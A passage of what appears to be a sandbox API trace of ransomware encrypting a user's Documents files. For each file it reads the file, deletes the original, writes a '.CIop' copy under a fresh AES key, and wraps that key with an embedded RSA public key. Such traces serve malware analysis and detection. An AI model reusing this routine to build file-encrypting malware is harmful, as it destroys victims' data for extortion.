1 [0089.235] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.236] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.236] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.236] CloseHandle (hObject=0x3c0) returned 1 [0089.238] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gcljm xynmawr.xlsx")) returned 0 Thread: id = 45 os_tid = 0xfa8 [0089.239] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.239] lstrcpyW (in: lpString1=0x306f368, lpString2="hfoKW.pptx" | out: lpString1="hfoKW.pptx") returned="hfoKW.pptx" [0089.239] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.239] SetErrorMode (uMode=0x1) returned 0x1 [0089.239] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx") returned 46 [0089.239] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx", dwFileAttributes=0x20) returned 1 [0089.239] StrStrW (lpFirst="hfoKW.pptx", lpSrch=".CIop") returned 0x0 [0089.240] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx.CIop") returned 51 [0089.240] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hfokw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b4 [0089.241] ReadFile (in: hFile=0x3b4, lpBuffer=0x6155c0, nNumberOfBytesToRead=0x158f6, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesRead=0x306e5e8*=0x158f6, lpOverlapped=0x0) returned 1 [0089.241] CloseHandle (hObject=0x3b4) returned 1 [0089.242] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hfokw.pptx")) returned 1 [0089.244] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0089.244] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0089.245] SetErrorMode (uMode=0x1) returned 0x1 [0089.245] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x614880) returned 1 [0089.247] CryptGenKey (in: hProv=0x614880, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5d63c8) returned 1 [0089.268] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0089.268] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0089.268] CryptDestroyKey (hKey=0x5d63c8) returned 1 [0089.268] CryptReleaseContext (hProv=0x614880, dwFlags=0x0) returned 1 [0089.268] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hfokw.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0089.269] WriteFile (in: hFile=0x3bc, lpBuffer=0x6155c0*, nNumberOfBytesToWrite=0x158f6, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesWritten=0x306e5d8*=0x158f6, lpOverlapped=0x0) returned 1 [0089.271] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x158f6 [0089.271] WriteFile (in: hFile=0x3bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.271] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x158fd [0089.271] SetErrorMode (uMode=0x1) returned 0x1 [0089.271] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.271] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.271] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0089.271] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x614ff0) returned 1 [0089.271] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614ff0, dwCertEncodingType=0x1, pInfo=0x5e6dd8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5d5f08) returned 1 [0089.271] CryptEncrypt (in: hKey=0x5d5f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0089.271] CryptEncrypt (in: hKey=0x5d5f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x615100*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x615100*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0089.272] WriteFile (in: hFile=0x3bc, lpBuffer=0x615100*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x615100*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.272] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.273] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.273] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.273] CloseHandle (hObject=0x3bc) returned 1 [0089.275] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hfoKW.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hfokw.pptx")) returned 0 Thread: id = 46 os_tid = 0xfac [0089.263] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.263] lstrcpyW (in: lpString1=0x31af368, lpString2="hJZX8AFOtoTuk B35pJ_.pdf" | out: lpString1="hJZX8AFOtoTuk B35pJ_.pdf") returned="hJZX8AFOtoTuk B35pJ_.pdf" [0089.263] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.263] SetErrorMode (uMode=0x1) returned 0x1 [0089.263] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf") returned 60 [0089.263] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf", dwFileAttributes=0x20) returned 1 [0089.263] StrStrW (lpFirst="hJZX8AFOtoTuk B35pJ_.pdf", lpSrch=".CIop") returned 0x0 [0089.263] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf.CIop") returned 65 [0089.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hjzx8afototuk b35pj_.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0089.264] ReadFile (in: hFile=0x3bc, lpBuffer=0x60bf98, nNumberOfBytesToRead=0x95b, lpNumberOfBytesRead=0x31ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesRead=0x31ae5e8*=0x95b, lpOverlapped=0x0) returned 1 [0089.264] CloseHandle (hObject=0x3bc) returned 1 [0089.264] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hjzx8afototuk b35pj_.pdf")) returned 1 [0089.275] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0089.275] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0089.275] SetErrorMode (uMode=0x1) returned 0x1 [0089.276] CryptAcquireContextW (in: phProv=0x31ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x31ae5b8*=0x614880) returned 1 [0089.278] CryptGenKey (in: hProv=0x614880, Algid=0x1, dwFlags=0x4000, phKey=0x31ae5bc | out: phKey=0x31ae5bc*=0x5d63c8) returned 1 [0089.327] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x31ae5ec | out: pbData=0x0*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0089.327] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x31ae5ec | out: pbData=0x2de0000*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0089.327] CryptDestroyKey (hKey=0x5d63c8) returned 1 [0089.327] CryptReleaseContext (hProv=0x614880, dwFlags=0x0) returned 1 [0089.327] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hjzx8afototuk b35pj_.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0089.328] WriteFile (in: hFile=0x3c0, lpBuffer=0x60bf98*, nNumberOfBytesToWrite=0x95b, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesWritten=0x31ae5d8*=0x95b, lpOverlapped=0x0) returned 1 [0089.328] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x95b [0089.328] WriteFile (in: hFile=0x3c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x31ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.328] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x962 [0089.328] SetErrorMode (uMode=0x1) returned 0x1 [0089.328] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.328] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.328] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x31ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598 | out: pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598) returned 1 [0089.328] CryptAcquireContextW (in: phProv=0x31ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31ad5a8*=0x615210) returned 1 [0089.329] CryptImportPublicKeyInfoEx (in: hCryptProv=0x615210, dwCertEncodingType=0x1, pInfo=0x5e6ea8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x31ad5b0 | out: phKey=0x31ad5b0*=0x5d5f48) returned 1 [0089.329] CryptEncrypt (in: hKey=0x5d5f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x31ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x31ad5b4*=0x80) returned 1 [0089.329] CryptEncrypt (in: hKey=0x5d5f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x615188*, pdwDataLen=0x31ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x615188*, pdwDataLen=0x31ad5a4*=0x80) returned 1 [0089.329] WriteFile (in: hFile=0x3c0, lpBuffer=0x615188*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x615188*, lpNumberOfBytesWritten=0x31ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.329] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.329] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.329] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.329] CloseHandle (hObject=0x3c0) returned 1 [0089.330] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\hJZX8AFOtoTuk B35pJ_.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\hjzx8afototuk b35pj_.pdf")) returned 0 Thread: id = 47 os_tid = 0xfb0 [0089.357] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.357] lstrcpyW (in: lpString1=0x2f0f368, lpString2="JF6Z1xvDFv.docx" | out: lpString1="JF6Z1xvDFv.docx") returned="JF6Z1xvDFv.docx" [0089.357] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.357] SetErrorMode (uMode=0x1) returned 0x1 [0089.357] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx") returned 51 [0089.357] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx", dwFileAttributes=0x20) returned 1 [0089.357] StrStrW (lpFirst="JF6Z1xvDFv.docx", lpSrch=".CIop") returned 0x0 [0089.357] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx.CIop") returned 56 [0089.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\jf6z1xvdfv.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0089.359] ReadFile (in: hFile=0x3bc, lpBuffer=0x6155c0, nNumberOfBytesToRead=0x12607, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesRead=0x2f0e5e8*=0x12607, lpOverlapped=0x0) returned 1 [0089.359] CloseHandle (hObject=0x3bc) returned 1 [0089.359] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\jf6z1xvdfv.docx")) returned 1 [0089.361] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.361] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.361] SetErrorMode (uMode=0x1) returned 0x1 [0089.361] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x6146e8) returned 1 [0089.363] CryptGenKey (in: hProv=0x6146e8, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6088) returned 1 [0089.416] CryptExportKey (in: hKey=0x5d6088, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.416] CryptExportKey (in: hKey=0x5d6088, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.416] CryptDestroyKey (hKey=0x5d6088) returned 1 [0089.416] CryptReleaseContext (hProv=0x6146e8, dwFlags=0x0) returned 1 [0089.416] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\jf6z1xvdfv.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0089.417] WriteFile (in: hFile=0x3bc, lpBuffer=0x6155c0*, nNumberOfBytesToWrite=0x12607, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x12607, lpOverlapped=0x0) returned 1 [0089.418] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12607 [0089.418] WriteFile (in: hFile=0x3bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.418] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1260e [0089.418] SetErrorMode (uMode=0x1) returned 0x1 [0089.418] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.418] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.419] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.419] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, 